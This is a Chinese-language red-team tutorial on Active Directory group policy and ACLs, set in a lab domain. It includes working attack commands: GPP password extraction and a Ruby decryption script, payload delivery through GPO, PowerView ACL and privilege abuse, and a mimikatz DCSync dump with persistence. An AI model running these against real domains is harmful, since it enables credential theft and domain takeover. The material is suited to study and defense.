内网渗透|域内的组策略和ACL

2021-08-13 15:54:19 浏览数 (1)

0x00 本地域环境

vm单独添加一个网卡用来进行域环境隔离。

机器配置:

windows server 2016(DC):192.168.11.16 (administrator) windows server 2008(IT) :192.168.11.8 (itsec) windows 7(jack-PC) :192.168.11.7 (jack)

添加redteamjack到win7的远程桌面组。

0x01 什么是AD DS域

ADDS可以理解为跟DNS,DHCP一样是集成在Windows Server中的一个角色功能,AD DS域是用来管理用户,计算机,组和其他对象的逻辑容器。AD DS 数据库存储所有域对象,每个域控制器存储数据库的副本。

0x02 什么是OU

OU 是用户、组和计算机的容器对象,它提供了一个通过链接组策略对象 (GPO) 来委托管理权限和管理的框架。

创建OU有多个原因:1.可以通过组策略对象(GPO)集中进行管理 2.可以在OU上分配管理权限给其他用户来进行委派。

0x03 泛型容器

OU 和容器之间的主要区别在于管理功能。容器的管理功能有限。例如,不能将 GPO 直接应用于容器。

默认情况下,安装 AD DS 会创建域控制器 OU 和多个泛型容器对象。AD DS 主要使用其中一些默认隐藏的默认对象。如图:

域redteam.local:层次结构。

内置容器:存放默认组。

计算机容器:在域中创建的新计算机帐户的默认位置

域控制器:域控机器在的默认组

**外部安全主体容器:**在本地 AD DS 域中添加的本地 AD DS 域外部的域中的受信任对象的默认位置。 托管服务账户容器: 托管服务帐户的默认位置。AD DS 在托管服务帐户中提供自动密码管理。

用户容器:在域中创建的新用户帐户和组的默认位置。

0x04 组策略

组策略可以控制用户帐户和计算机帐户的工作环境。

组策略链接:可以看到右边的作用域路径是整个redteam.local也就是说在这个域内的所有计算机,用户都会搜到影响。

右键保存报告可以看到一些配置内容

可以通过组策略编辑器来修改

策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。

每条组策略都是储存在域里面的一个对象我们称之为GPO,每一个GPO都有一个唯一ID。

GPO分为GPC和GPT:GPO:组策略对象。GPC:组策略容器。GPT:组策略模板。

GPC:包含了GPO的属性,本身的配置信息,版本等等。可以通过GPC访问GPT数据储存位置和版本。GPT:一个具有结构层次的共享目录,存放于域控中,包含所有的组策略信息。包括管理模板,安全,脚本,软件安装等。gpo的信息量比较大,这也是gpo将gpc与其分开的原因。应为gpc存放于活动目录中,活动目录数据大会对性能及网络造成影响。

通过AD Explorer查看GPC

gPCFileSysPath链接到GPT,基本上组策略的配置信息都在GPT里面

当某个对象应用了某个指定的组策略时,该对象的 gPLink 属性将包含指向该组策略容器的完整DN。

GPT位于域控的

代码语言:javascript复制
C:WindowsSYSVOLsysvolredteam.localPolicies

Macheine目录:包含针对计算机的策略配置。User目录:包含针对用户的策略配置。GPT.ini文件:该组策略对象的一些配置信息(如版本信息、策略名称)。

4.1 SYSVOL

域内有个密码难题,域内大量机器为了安全都会修改密码,标准做法就是组策略批量设置本地administrator密码。但是这样会出现一个问题就是密码都统一了。解决办法之一就是通过认证数据采取SYSVOL,这个是AD里面一个储存公共文件服务器副本的共享文件夹。所有认证用户都可以读取,SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

首先创建组策略red再编辑,update本地用户administrator为admin

然后强制更新组策略:

代码语言:javascript复制
gpupdate /force

密码会保存在

代码语言:javascript复制
C:WindowsSYSVOLdomainPoliciesGPO IDMachinePreferencesGroupsGroups.xml

1.powershell

代码语言:javascript复制
Import-Module .Get-GPPPassword.ps1;Get-GPPPassword

2.msf

代码语言:javascript复制
use post/windows/gather/credentials/gppset session 1run

3.ruby解密脚本

代码语言:javascript复制
require 'rubygems'require 'openssl'require 'base64'encrypted_data = "Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw"def decrypt(encrypted_data)    padding = "=" * (4 - (encrypted_data.length % 4))      epassword = "#{encrypted_data}#{padding}"        decoded = Base64.decode64(epassword)           key = "x4ex99x06xe8xfcxb6x6cxc9xfaxf4x93x10x62x0fxfexe8xf4x96xe8x06xccx05x79x90x20x9bx09xa4x33xb6x6cx1b"             aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")               aes.decrypt                 aes.key = key                   plaintext = aes.update(decoded)                     plaintext << aes.final                       pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion                         return pass                          endblah = decrypt(encrypted_data)puts blah

4.2 组策略利用

1.批量下发软件 当我们拿下域控,可能某些机器设置了445等端口不可入acl无法到达目标机器。可以通过组策略下发软件。msf生成msi文件然后下发

2.计划任务

3.SeEnableDelegationPrivilege权限

还可以给用户设置SeEnableDelegationPrivilege权限,该权限作用是设置约束性委派。拥有该权限可以任意设置一台主机的约束性委派,如果控了一个SeEnableDelegationPrivilege权限的用户基本上等于拿下了整个域。

域一般有两个默认的GPO:Default Domain Policy和Default Domain Controllers Policy他们的GUID分别为:{31B2F340-016D-11D2-945F-00C04FB984F9}和{6AC1786C-016F-11D2-945F-00C04fB984F9}

来查找Default Domain Controllers Policy策略的位置

代码语言:javascript复制
Get-DomainGPO -Identity "Default Domain Controllers Policy"
代码语言:javascript复制
\redteam.localsysvolredteam.localPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}

查看下GptTmpl.int

代码语言:javascript复制
type \redteam.localsysvolredteam.localPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}MACHINEMicrosoftWindows NTSecEditGptTmpl.inf
代码语言:javascript复制
"S-1-5-32-544" | Convert-SidToName

我们给普通用户设置SeEnableDelegationPrivilege权限

修改

代码语言:javascript复制
C:WindowsSYSVOLsysvolredteam.localPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}MACHINEMicrosoftWindows NTSecEditGptTmpl.inf

把要添加的用户的sid添加到SeEnableDelegationPrivilege然后刷新组策略

代码语言:javascript复制
gpupdate /force

或者通过UserRight

代码语言:javascript复制
Grant-UserRight -Account hack -Right SeEnableDelegationPrivilegeGet-AccountsWithUserRight -right SeEnableDelegationPrivilege

这里我们可以添加对指定用户的完全访问权限,这里以itsec为例:

itsec的guid为:

代码语言:javascript复制
5100c627-f060-498d-b05d-c36548967878

执行:

代码语言:javascript复制
Add-DomainObjectAcl -TargetIdentity '5100c627-f060-498d-b05d-c36548967878' -PrincipalIdentity hack -Rights All

验证权限

代码语言:javascript复制
Get-DomainObjectAcl -Identity itsec | ?{$_.SecurityIdentifier -match "S-1-5-21-151877218-3666268517-4145415712-1123"}

可以看到hack以及对itsec有完全访问权限GenericAll。我们可以通过hack用户强制给itsec用户注册spn,或者修改密码。

0x05 ACL

当用户登录时,系统会验证用户的帐户名和密码。如果登录成功,系统会创建一个访问令牌。代表此用户执行的每个进程都将拥有此访问令牌的副本。访问令牌包含标识用户帐户和用户所属的任何组帐户的安全描述符。令牌还包含用户或用户组拥有的权限列表。当进程尝试访问安全对象或执行需要特权的系统管理任务时,系统使用此令牌来识别关联的用户。

windows访问控制模型是由两部分组成:

访问令牌:包含用户的sid,以及特权列表。安全描述符:被访问的安全对象的相关安全信息。

安全描述符是与被访问对象关联的,它包含有这个对象的所有者的sid,以及一个访问控制列表(ACL)。

创建安全对象时,系统会为其分配一个安全描述符,该描述符包含其创建者指定的安全信息,如果未指定,则为默认安全信息。应用程序可以使用函数来检索和设置现有对象的安全信息。

安全描述符标识对象的所有者,还包含了一个自由访问控制列表(DACL)和一个系统访问控制列表(SACL) DACL:用于标识允许或拒绝访问对象的用户和组 SACL:用于控制系统审计尝试访问对象的方式

ACL访问控制列表由一些列访问控制实体组成,每个ACE可以看作是配置一条访问策略。每个 ACE 指定一组访问权限并包含一个 SID,用于标识允许、拒绝或审核其权限的受托着。受托人可以是用户帐户、组帐户或登录会话。

大体的流程是。当对象A来访问B的时候,A会出示自己的Access Token,然后包含自己的用户sid, 自己所在的组的sid,以及特权列表。B这个安全对象,有自己的ACL。B首先判断是不是需要特权才能访问,如果需要特权,则查看A的Access Token看有没有那个特 权。B通过A的Access Token,来判断A的用户 sid以及组sids,跟自己的ACL做比对,来判断是否让A 进行访问。如下图:表示了A组成员都继承了A组允许的权限:写入权限和继承了Everyone对该对象的读取和执行权限,额外的是Andrew,就算他是Everyone组的成员但是被拒绝访问的ACE拒绝访问。

一条ACE一般分为四个方面:1.谁对你有权限。2.有什么权限。3.是允许还是拒绝。4.这个权限能否被继承。

权限可以分为:通用权限,对某个属性的权限,拓展权限。1.通用权限:对这个条目的通用权限。2.对某个属性的权限:一个条目包含若干个属性。3.拓展权限:存放于CN=Add-GUID,CN=Extended-Rights,CN=Configuration,DC=redteam,DC=loca,值在rightsGuid里面。

ACL主要有两个作用:1.用户能不能访问安全对象(DACL) 2.用户是否访问成功,日志记录功能(SACL)

右键任意文件或者文件夹属性,安全,高级,权限可以看到该文件或者文件夹的DACL。

再点击任何一条DACL可以看到该条DACL的ACE。

代码语言:javascript复制
PS C:Users> Get-Acl C:usersadministrator | flPath   : Microsoft.PowerShell.CoreFileSystem::C:usersadministratorOwner  : NT AUTHORITYSYSTEMGroup  : NT AUTHORITYSYSTEMAccess : NT AUTHORITYSYSTEM Allow  FullControl         BUILTINAdministrators Allow  FullControl         REDTEAMAdministrator Allow  FullControlAudit  :Sddl   : O:SYG:SYD:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)

还可以通过icacls来查看修改acl

代码语言:javascript复制
R 读取W 写入C 更改(写入)F 完全控制CI - 容器继承。ACE 会由目录继承。OI - 对象继承。ACE 会由文件继承。IO - 只继承。ACE 不适用于当前文件/目录。ID - 已继承。ACE 从父目录的 ACL 继承。

5.1 dcsync

在域内不同DC会进行域内数据同步,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。

打开高级功能然后点击属性->安全

把Everyone设置为完全控制,那么随便一个账号都能直接dscync

代码语言:javascript复制
mimikatz.exe "lsadump::dcsync /domain:redteam.local /user:administrator" "exit" > 1.txt

使用dcsync权限维持:取消Everyone的完全控制权限,创建hack1用户

向域内普通用户添加如下三条ACE(Access Control Entries):DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c) 我们可以使用Empire下的 powerview.ps1 脚本执行命令添加以上三条ACE。给域用户hack1添加以上三条ACE

代码语言:javascript复制
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose

可以看到执行成功

然后给hack1账户删除以上三条acl

代码语言:javascript复制
Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose

再次失败

0 人点赞